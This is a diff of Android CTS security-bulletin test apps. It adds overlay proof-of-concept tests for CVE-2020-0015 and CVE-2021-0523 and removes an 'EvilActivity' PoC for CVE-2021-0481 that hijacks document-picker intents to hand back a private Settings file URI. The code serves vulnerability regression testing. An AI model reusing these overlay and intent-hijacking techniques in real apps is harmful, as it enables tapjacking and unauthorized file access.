+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    String testVulnerablePackage = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+
+        InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+        assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+        byte[] data = new byte[1024];
+        try {
+            int nRead = inStream.read(data, 0, data.length);
+            assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+            outStream.write(data, 0, nRead);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.streamReadWriteException), e);
+        }
+
+        Intent intent = KeyChain.createInstallIntent();
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getString(R.string.intentExtraKeyName),
+                context.getString(R.string.certName));
+        intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        testVulnerablePackage = ri.activityInfo.packageName;
+
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 0000000..d8563d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:tools="http://schemas.android.com/tools"
-          package="android.security.cts.CVE_2021_0481"
-          android:targetSandboxVersion="2">
-
-  <application>
-    <uses-library android:name="android.test.runner"/>
-
-    <activity android:name=".EvilActivity" android:exported="true">
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.GET_CONTENT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-    </activity>
-
-  </application>
-
-  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-    android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd18..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
-  class ClickableNotFound extends Exception{
-    public ClickableNotFound(String s){
-      super(s);
-    }
-  }
-
-  private static final String BASIC_SAMPLE_PACKAGE
-          = "android.security.cts.CVE_2021_0481";
-  private static final int LAUNCH_TIMEOUT_MS = 20000;
-  private static final String TAG = "TAG_2021_0481";
-  private static final int IS_FOUND_FLAG = 1;          // 0001
-  private static final int IS_CHECKED_FLAG = 2;        // 0010
-  private UiDevice mDevice;
-
-  @Test
-  public void testUserPhotoSetUp() {
-
-    //set mDevice and go to homescreen
-    mDevice = UiDevice.getInstance(getInstrumentation());
-    mDevice.pressHome();
-
-    //start "Settings" app
-    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
-                                //android.provider.Settings.ACTION_USER_SETTINGS
-    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-    try{
-      getApplicationContext().startActivity(myIntent);
-    } catch(android.content.ActivityNotFoundException e){
-      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
-      return;
-    }
-
-    //wait for "User Settings" activity to appear.
-    SystemClock.sleep(6000);
-
-    //perform UI test steps
-    try {
-
-      //in "Multiple users" activity showing "Use multiple users" switch
-      searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
-      //in "Multiple users" activity showing a list of current users,
-      //look for the first item "android:id/title" on the list showing "You(Owner)"
-      searchAndClick(mDevice, "android:id/title", 2000);
-
-      //in "Profile Info" dialog window showing clickable user silhouette
-      //look for clickable android.widget.ImageView object with attributes:
-      // getContentDescription()=Select photo
-      // getResourceName()=com.android.settings:id/user_photo
-      searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
-      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
-      searchAndClick(mDevice, "Choose an image", 6000);
-
-      //in "Browse Files in Other Apps" activity
-      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
-      //Image is chosen as (evilActivity) so we are getting back to
-      //"Profile Info" dialog window showing clickable user silhouette
-      //end "Cancel" and "OK" buttons.
-      //look for "Cancel button and click it"
-      searchAndClick(mDevice, "Cancel", 2000);
-
-    } catch (ClickableNotFound e){
-      Log.d(TAG, e.toString());
-      assumeNoException(e);
-    }
-    Log.d(TAG, "end of testUserPhotoSetUp()");
-  }
-
-  //see what is on screen and click on object containing name
-  //throw exception if object not found
-  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
-    int ret;
-    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
-    boolean found = false;
-    Log.d(TAG, "looking for " + name);
-    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
-    if(objects != null){
-      for (UiObject2 o : objects) {
-        if((ret=searchAndLog(o, name, "")) !=0 )
-        {
-          found=true;
-          Log.d(TAG, name + " found");
-          if((ret & IS_CHECKED_FLAG) == 0) {
-              o.click();
-              Log.d(TAG, name + " clicked");
-              SystemClock.sleep(timeOut); //wait for click result to appear onscreen
-          }
-          break; //to avoid androidx.test.uiautomator.StaleObjectException
-        }
-      }
-    }
-    if(!found) {
-      throw new ClickableNotFound("\"" + name + "\" not found to click on");
-    }
-  }
-
-  //Search for 'name' in UiObject2
-  //returns int flags showing search result:
-  // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
-  // IS_FOUND_FLAG - 'name' matches anything else
-  private int searchAndLog(UiObject2 o, String name, String prefix){
-
-    int ret = 0;
-    String lname = o.getText();
-    String cname = o.getClassName();
-    String cdesc = o.getContentDescription();
-    String rname = o.getResourceName();
-    boolean checked = o.isChecked();
-
-    Log.d(TAG, prefix + "class=" + cname);
-    Log.d(TAG, prefix + "o.getText()=" + lname);
-    Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
-    Log.d(TAG, prefix + "o.getResourceName()=" + rname);
-    Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
-    if( rname != null && rname.equals(name) && checked) {
-      ret |= IS_CHECKED_FLAG;
-    }
-    else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
-      ret |= IS_FOUND_FLAG;
-    }
-
-    if(ret != 0) {
-      Log.d(TAG, prefix + "found-->" + name);
-      return ret;
-    } else {
-      java.util.List<UiObject2> objects2 = o.getChildren();
-      if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
-        for (UiObject2 o2 : objects2) {
-          if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
-            return ret;
-          }
-        }
-      }
-    }
-    return ret;
-  }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
deleted file mode 100644
index 92f0ec3..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts.CVE_2021_0481;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.appcompat.app.AppCompatActivity;
-
-public class EvilActivity extends Activity {
-
-    final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
-    private static final String TAG = "TAG_2021_0481";
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.d(TAG, "EvilActivity started!");
-        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
-        finish();
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e84..7ff1369 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@
 
 android_test_helper_app {
     name: "CVE-2021-0523",
-    srcs: [
-        "src/android/security/cts/CVE_2021_0523/PocActivity.java",
-        "src/android/security/cts/CVE_2021_0523/PocService.java",
-    ],
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
         "vts10",
         "sts",
-        "general-tests",
     ],
-    sdk_version: "system_current",
     static_libs: [
-        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
     ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e427..e21b9b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application
         android:allowBackup="true"
         android:label="CVE-2021-0523"
         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
         <service
             android:name=".PocService"
             android:enabled="true"
             android:exported="false" />
 
-        <activity android:name=".PocActivity">
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
     </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0523" />
 </manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 0000000..e0fc337
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_PKG_WIFI = "com.android.settings";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+    String activityDump = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        if (Settings.canDrawOverlays(getApplicationContext())) {
+            Intent intent = new Intent(getApplicationContext(), PocService.class);
+            context.startService(intent);
+        } else {
+            try {
+                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivity(intent);
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        PackageManager packageManager = context.getPackageManager();
+        assertNotNull(packageManager);
+        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+        assertNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        /* Start the launcher activity */
+        context.startActivity(intent);
+        /* Wait for the WifiScanModeActivity */
+        if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Start the overlay service */
+        startOverlayService();
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Pattern pattern = Pattern.compile(
+                getApplicationContext().getResources().getString(R.string.overlay_button),
+                Pattern.CASE_INSENSITIVE);
+        BySelector selector = By.text(pattern);
+        /* Wait for an object of the overlay window */
+        if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+        /* Check if the currently running activity is WifiScanModeActivity */
+        try {
+            activityDump = mDevice.executeShellCommand("dumpsys activity");
+        } catch (IOException e) {
+            throw new RuntimeException("Could not execute dumpsys activity command");
+        }
+        Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+        if (!activityPattern.matcher(activityDump).find()) {
+            return;
+        }
+        String message = "Device is vulnerable to b/174047492 hence any app with "
+                + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+        assertNull(message, mDevice.findObject(selector));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5..3e35266 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
 package android.security.cts.cve_2021_0523;
 
 import android.app.Activity;
+import android.content.ActivityNotFoundException;
 import android.content.Intent;
-import android.content.Context;
 import android.net.wifi.WifiManager;
-import android.os.Build;
 import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
 
 public class PocActivity extends Activity {
-    private WakeLock mScreenLock;
-    private Context mContext;
-
-    private void startOverlayService() {
-        if (Settings.canDrawOverlays(this)) {
-            Intent intent = new Intent(PocActivity.this, PocService.class);
-            startService(intent);
-        } else {
-            try {
-                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
-                startActivityForResult(intent, 1);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void stopOverlayService() {
-        Intent intent = new Intent(PocActivity.this, PocService.class);
-        stopService(intent);
-    }
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        mContext = this.getApplicationContext();
-        PowerManager pm = mContext.getSystemService(PowerManager.class);
-        mScreenLock = pm.newWakeLock(
-                PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
-                "PocActivity");
-        mScreenLock.acquire();
-        try {
-            Thread.sleep(6000);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        startOverlayService();
         Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
-        startActivityForResult(intent, 2);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        mScreenLock.release();
+        try {
+            startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            // do nothing
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..9b013b8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -84,9 +84,8 @@
     private void showFloatingWindow() {
         if (Settings.canDrawOverlays(this)) {
             mButton = new Button(getApplicationContext());
-            mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+            mButton.setText(getResources().getString(R.string.overlay_button));
             mWindowManager.addView(mButton, mLayoutParams);
-            mButton.setOnTouchListener(new FloatingOnTouchListener());
             new Handler().postDelayed(new Runnable() {
                 @Override
                 public void run() {
@@ -96,25 +95,4 @@
             mButton.setTag(mButton.getVisibility());
         }
     }
-
-    private static class FloatingOnTouchListener implements View.OnTouchListener {
-
-        @Override
-        public boolean onTouch(View view, MotionEvent event) {
-            view.setDrawingCacheEnabled(true);
-            view.buildDrawingCache();
-            Bitmap bitmap = view.getDrawingCache();
-            int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
-            int red = Color.red(pixel);
-            int green = Color.green(pixel);
-            int blue = Color.blue(pixel);
-            view.setDrawingCacheEnabled(false);
-            if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
-                throw new RuntimeException(
-                    "Device is vulnerable to b/174047492 hence any app with " +
-                    "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
-            }
-            return false;
-        }
-    }
 }
